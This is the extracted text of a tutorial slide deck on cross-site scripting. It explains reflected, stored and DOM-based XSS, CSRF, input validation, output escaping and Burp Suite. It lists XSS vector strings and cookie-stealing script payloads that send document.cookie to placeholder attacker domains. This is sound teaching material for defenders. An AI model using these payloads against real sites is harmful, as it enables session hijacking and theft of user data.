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Cross Site Scripting (XSS)
by Amit Tyagi
What is XSS
Cross Site ScriptingXSS is a vulnerability which when present in websites or web applications, allows malicious users (Hackers) to insert their client side code (normally JavaScript) in those web pages. When this malicious code along with the original webpage gets displayed in the web client (browsers like IE, Mozilla etc), allows Hackers to gain greater access of that page.
XSS (-ve) effects
stealing other user’s cookies stealing their private
information performing actions on behalf of
other users redirecting to other websitesShowing ads in hidden IFRAMES
and pop-ups
How XSS works
Web server gets data from web client (POST, GET, COOKIES etc) with the request. So a malicious User can include client side code snippets (JavaScript) into the data. For example :
Amit<script>alert (‘this site has been hacked’) ;</script>
XSS input
Note: This image has been created using Firebug and this XSS hole is not present in google.com
XSS contd. Let’s assume Web server performs no
validation or filtration on this data. Now web server either saves this data + XSS
code to some persistent storage (like database) or print this data back in the HTML.
When this XSS code, comes from server along with HTML into the web client (Browser) and executes as server’s own code, it gets access whole HTML document, page URL, cookies etc.
XSS
Server
Hacker’s Browser
http request with XSS JavaScript
Hacker’s Browser
http response with XSS JavaScript
XSS output
Note: This image has been created using Firebug and this XSS hole is not present in google.com
XSS vectors <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert("XSS")> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=javascript:alert('XSS')>
Type of XSS attacks
Non-persistent Persistent DOM Based
Non-persistent
When XSS code only gets displayed in the next page to the same user and not gets saved into persistent storage like database. This type of attack is less vulnerable, because Hacker can see only their own cookies and can make modifications in their own current opened pages. The risk with these kinds of XSS holes is that it opens way for Cross Site Request Forgery CSRF. CSRF allows a hacker to place some links
Example : same as given previously to explain XSS
CSRFCross-site request forgery
is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. This can be done by placing some hidden links in some bad website.
for example :<img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script>
CSRF
Bank Server
http response with CSRF Link
Bad Server 1
Normal User’s Browser
<img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script>
Normal User’s Browser
Bad Server 2
http response with XSS
http request with cookies
http request with XSS
Persistent XSSIn persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users. abc<script>window.location = "http://www.hackers.com?yid=" + document.cookie;</script>
Persistent XSS – Step 1
Server
Hacker’s Browser
http request with XSS JavaScript
Server saves XSS code to DB
DBStep 1
Persistent XSS – Step 2
Server
Hacker Browser
http request with XSS JavaScript
Normal User Browser
http response with XSS JavaScript
DBStep 2Server saves XSS code to DB
Persistent XSS
Note: This image has been created using Firebug and this XSS hole is not present in blogger.com
DOM based attackDOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw). Example…var pos = document.URL.indexOf("name=")+5;document.write(document.URL.substring(pos,document.URL.length));…
http://www.vulnerable.site/welcome.html?name=Joe
Prevention
Never trust the user input data
No matter where it’s coming from ( GET, POST, COOKIE etc.
Validation at client side
By performing client side (JavaScript) validation, before submitting the data to server, helps only in usability aspect of the website. It can’t provide any actual security, because user can disable the JavaScript. Many JavaScript libraries and frameworks are available for this. For example in DOJO framework
<label for="firstName">First Name: </label><input type="text" id="firstName" name="firstName"
dojoType="dijit.form.ValidationTextBox" required="true" propercase="true" promptMessage="Enter first name." invalidMessage="First name is required." trim="true”/><br>
Validation at server
By sanitizing the input data, we can prevent the malicious code to enter in the system. Checking the proper data types helps in cleaning the data. First of all we should restrict numeric data for numeric fields and only alphanumeric characters for text fields
White lists – Allow <strong>, <em> and <br> only – Does help, but not 100%
Blacklists – Block <script> and other attributes such as onload, onclick, onmouseover etc.
Escaping output at server
Problem characters can include < > " ‘ \ &.These characters can be replaced with HTML character entities. For example, < can be replaced with <.
5 Rules for escaping output #1 - HTML Escape before inserting into element content #2 - Attribute Escape before inserting into attributes #3 - JavaScript Escape before inserting into JavaScript
data values #4 - CSS Escape before inserting into style property values #5 - URL Escape before inserting into URL attributes
Escaping text before updating DOM at client side
To avoid DOM based XSS attacks.
Web vulnerability scanner Applications
These applications provide the developer to test their web applications for various types of vulnerabilities. These applications allow navigating through the web sites or web applications and performing various types of attacks (manual or automated). Both free and commercial applications are available (http://sectools.org/web-scanners.html )
Burp suite Burp suite allows an attacker to combine
manual and automated techniques to enumerate, analyze, attack and exploit web applications. The various burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another.
Download: http://portswigger.net/suite/download.html
Documentation: http://portswigger.net/suite/help.html
Burp Tools Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle between the
end browser and the target web application, allowing you to intercept, inspect and modify the raw traffic passing in both directions.
Spider - an intelligent application-aware web spider which allows complete enumeration of an application's content and functionality.
Scanner [Pro version only] - an advanced tool for performing automated discovery of security vulnerabilities in web applications.
Intruder - a highly configurable tool for automating customized attacks against web applications, such as enumerating identifiers, harvesting useful data, and fuzzing for common vulnerabilities.
Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and analyzing the application's responses.
Sequencer - a tool for analyzing the quality of randomness in an application's session tokens or other important data items which are intended to be unpredictable.
Decoder - a tool for performing manual or intelligent decoding and encoding of application data.
Comparer - a utility for performing a visual "diff" between any two items of data, normally pairs of related requests and responses.
Burp Suite
How to use Run the application and set the browser proxy
to localhost: 8080 Open any site and Burp will create a sitemap
tree in the left panel, as per the site traversal. Select any URL from the tree and add it to
intruder. Add different type of payloads for attack, i.e. 1<script >alert(1);</script> Go to Intruder and click start attack. Burp suite will show the results in a new
window.
Questions
Refrences
http://en.wikipedia.org http://ha.ckers.org/xss.html http://portswigger.net www
Thank you
